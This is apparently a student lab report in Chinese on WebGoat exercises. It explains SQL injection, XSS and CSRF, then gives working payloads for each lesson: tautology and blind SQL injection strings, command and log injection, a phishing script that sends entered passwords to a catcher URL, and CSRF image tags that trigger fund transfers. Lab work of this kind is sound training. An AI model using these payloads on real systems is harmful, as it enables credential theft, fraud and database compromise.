20154321 Exp9: Web安全基礎實踐
20154321【網絡對抗技術】Exp9: Web安全基礎實踐
一、基礎問題
- SQL註入攻擊原理,如何防禦
- SQL註入漏洞是指在Web應用對後臺數據庫查詢語句處理存在的安全漏洞。也就是,在輸入字符串中嵌入SQL指令,在設計程序中忽略對可能構成攻擊的特殊字符串的檢查。後臺數據庫將其認作正常SQL指令後正常執行,可能實現對後臺數據庫進行各種操作,甚至造成破壞後臺數據庫等嚴重後果。
- SQL註入一般分為普通註入和盲註。
- 普通註入:後臺數據庫會回顯有價值的提示信息,通過這些可能的報錯信息可以更容易地進行註入,適合新手入門訓練。
- 盲註:後臺管理員在給出錯誤頁面時,沒有提供詳細錯誤信息。攻擊者需要運用腳本通過僅有的判斷信息(比如時間差)對表中的每一個字段進行探測,從而實現註入。
- 防禦:對輸入的數據進行過濾,過濾掉敏感字符。加密數據庫。
- XSS攻擊的原理,如何防禦
- 攻擊者利用網站漏洞(通常這些漏洞是指網站後臺處理程序沒有很好的對用戶輸入進行過濾),輸入可以顯示在頁面上的、對其他用戶造成影響的HTML代碼;由於受害者瀏覽器對目標服務器的信任,當其訪問目標服務器上被註入惡意腳本的頁面後,這段惡意腳本可以順利執行,實現獲取用戶cookie並可以利用用戶身份進行非法操作的目的。
- 瀏覽器自身可以識別簡單的XSS攻擊字符串,從而阻止簡單的XSS攻擊;從根本上說,解決辦法是消除網站的XSS漏洞,這就需要網站開發者運用轉義安全字符等手段。
- CSRF攻擊原理,如何防禦
- CSRF攻擊的主要目的是讓用戶在不知情的情況下攻擊自己已登錄的一個系統,類似於釣魚。如用戶當前已經登錄了郵箱,或bbs,同時用戶又在使用另外一個,已經被你控制的站點,我們姑且叫它釣魚網站。這個網站上面可能因為某個圖片吸引你,你去點擊一下,此時可能就會觸發一個js的點擊事件,構造一個bbs發帖的請求,去往你的bbs發帖,由於當前你的瀏覽器狀態已經是登陸狀態,所以session登陸cookie信息都會跟正常的請求一樣,純天然的利用當前的登陸狀態,讓用戶在不知情的情況下,幫你發帖或幹其他事情
- 通過 referer、token 或者 驗證碼 來檢測用戶提交。盡量不要在頁面的鏈接中暴露用戶隱私信息。對於用戶修改刪除等操作最好都使用post 操作
二、實踐過程
1.開啟webgoat
在終端中輸入java -jar webgoat-container-7.1-exec.jar開啟
WebGoat
。
打開瀏覽器,在地址欄輸入 localhost:8080/WebGoat
打開 WebGoat
,選擇默認賬號、密碼即可登陸成功。
1.SQL字符串註入(String SQL Injection)
SQL註入攻擊,入手點在web 但是從根本上來說是SQL的問題。嘗試註入一個SQL字符串,以顯示所有信用卡號碼。 嘗試使用‘Smith‘的用戶名。
輸入‘or 1=‘1
,語句就變成SELECT * FROM user_data WHERE last_name = ‘‘or 1=‘1‘
,
這句的意思就是查詢lastname= ‘‘ (或者)1=‘1‘ ,這裏的 1=‘1‘ 永遠為真,所以不管姓啥都是對的,都能被顯示出來,這是最簡單的SQL註入攻擊。主要防禦方式是字符串過濾。
如下圖所示:
2、日誌欺騙(Log Spoofing)
日誌欺騙主要就是利用日誌的格式,使用換行等字符,欺騙管理員。
比如輸入huangrui%0d%0aLogin Succeeded for username: admin,
密碼隨意
url參數帶有%0d%0a , 在servlet裏得到包含這個字段的string時, %0d%0a 就會被轉義為回車。
3、數字型SQL註入(Numeric SQL Injection)
題目就是要求這個表單允許使用者看到天氣數據,利用SQL註入使得可以看見所有數據
在網頁右鍵選中inspect Element
對源代碼進行修改,找到任意一個值比如101旁邊加上 or 1=1;
然後點擊 :go, 成功。
4、命令註入(Command Injection)
題目大概就是要嘗試給操作系統註入命令行,要求能夠在目標主機上執行系統命令
我們還是右擊選中inspect Element進行代碼修改。
例如在BackDoors.help旁邊加上"& netstat -an & ipconfig"。
點擊view.
5.XPATH Injection
題目大概意思就是使用帳戶Mik/Test123,試著去查看其他員工的數據。
使用一個普通的用戶名和密碼,XPath會起作用,但是攻擊者可能會發送一個壞用戶名和密碼,並在不知道用戶名或密碼的情況下,選擇一個XML節點,我們也創造一個類似的永真式:
Username: huangrui‘ or 1=1 or ‘a‘=‘a
passwoad:huangrui
6、數字盲註(Blind Numeric SQL Injection)
題目中說明了下面的表單允許用戶輸入帳號並確定它是否有效,即返回值只有賬戶有效或無效兩種。
先輸入101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000);
,結果是
Invalid account number.無效。所以我們還要縮小範圍。
這個時候又顯示Account number is valid,也說明確實存在這個賬戶。
最後經過多次嘗試,找到2364
7、盲字符串註入(Blind String SQL Injection)
和上一個差不多,只是由猜數字變成猜字符,方法都差不多。
使用語句 101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 1, 1) < ‘K‘ ) 查詢第一個字符。
然後又試了H,它顯示無效,所以就可以確定是H到K之間。
然後再使用語句 101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 2, 1) < ‘r‘ ) 查詢第二個字符。
以此類推。最後查詢出來為Jill.
Cross-Site Scripting (XSS)
8、跨站腳本釣魚攻擊(Phishing with XSS)
這道題是關於一個頁面中存在XSS漏洞時,他如何支持釣魚攻擊。要求我們利用xss和html註入達到這些目標。
使用XSS和HTML插入制作一個釣魚網站,將下面的代碼輸在search框中:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br><br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br> <input type="text" name="user">
<br>Enter Password:<br> <input type="password" name = "pass">
<br> <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
然後下拉網頁,會有用戶名和密碼的框出現,隨意輸入用戶名和密碼
9、存儲型xss(Stored XSS Attacks)
這道題是我們要在信息中添加一個html的標簽。
那就在信息框裏寫一句<script>alert("you are so beautiful~");</script>
,然後點擊提交之後,留言板上會出現這條信息的標題,標題隨意。
點擊標題
10.
CSRF
Cross Site Request Forgery(CSRF)
要求:需要寫一個URL誘使其他用戶點擊,從而觸發CSRF攻擊.
我們可以以圖片的的形式將URL放進Message框,這時的URL對其他用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件。
1.查看自己電腦的Screen和menu的值
2.在信息框內輸入<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=1000000"/>
(這句話的意思是將Funds即金錢轉到自己的賬戶裏),點擊提交之後可以看到信息
3.點進去後,盜取錢財。攻擊成功
11.
CSRF Prompt By-Pass
和上一個類似,發個郵件給newsgrooup,包含兩個惡意請求:一個是轉錢的金額,另一個是確認轉賬。
1.首先還是查看電腦的Screen和menu的值
2.在信息框輸入
<img src="attack?Screen=1471017872&menu=900&transferFunds=5000"
width="1" height="1">
<img src="attack?Screen=1471017872&menu=900&transferFunds=confirm"
width="1" height="1">
點擊提交後可看到
3.點進去,發現攻擊成功
三.實驗心得:
最後一次實驗了,想著考完試後的周五檢查所以也沒著急,圓滿完成。這課確實也學到了很多實在的東西,老師幸苦了,welldown!
20154321 Exp9: Web安全基礎實踐